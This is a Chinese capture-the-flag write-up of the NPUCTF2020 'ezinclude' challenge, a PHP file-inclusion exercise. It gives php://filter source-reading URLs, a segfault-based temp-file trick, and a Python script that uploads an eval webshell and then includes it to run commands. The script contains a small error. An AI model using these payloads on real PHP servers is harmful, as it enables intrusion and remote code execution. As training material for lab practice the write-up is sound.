BUUCTF[NPUCTF2020]ezinclude wp

进入页面

查看源码发现提示

 

 cookie处发现可疑字符,尝试放入pass参数

 

 跳转404,连上burp看响应包,发现flflflflag.php

尝试访问flflflflag.php,发现include($_GET["file"])的提示

使用伪协议读取源码

Payload:

f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=index.php

 

f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

 

③f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=config.php

 

读源码之后知道了出题人想要girlfriendinclude存在利用点,但是正则过滤了伪协议之后就不能用伪协议写马了,这里可以用php7 segment fault特性:
php://filter/string.strip_tags=/etc/passwd
php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除

 

脚本:

import requests
from io import BytesIO
import re
payload = "<?php eval($_POST[a]);?>"
file_data={
   'file': BytesIO(payload.encode())
}
url="http://f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
   r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
        print(1)

print(session)

 

打开dir.php发现已经成功写入马了

payload:/flflflflag.php?file=/tmp/phpX5gA3,post:a=phpinfo();在phpinfo中找到flag

 

参考:

https://blog.csdn.net/weixin_43610673/article/details/105898440

 

原文地址:https://www.cnblogs.com/Yhck/p/13621000.html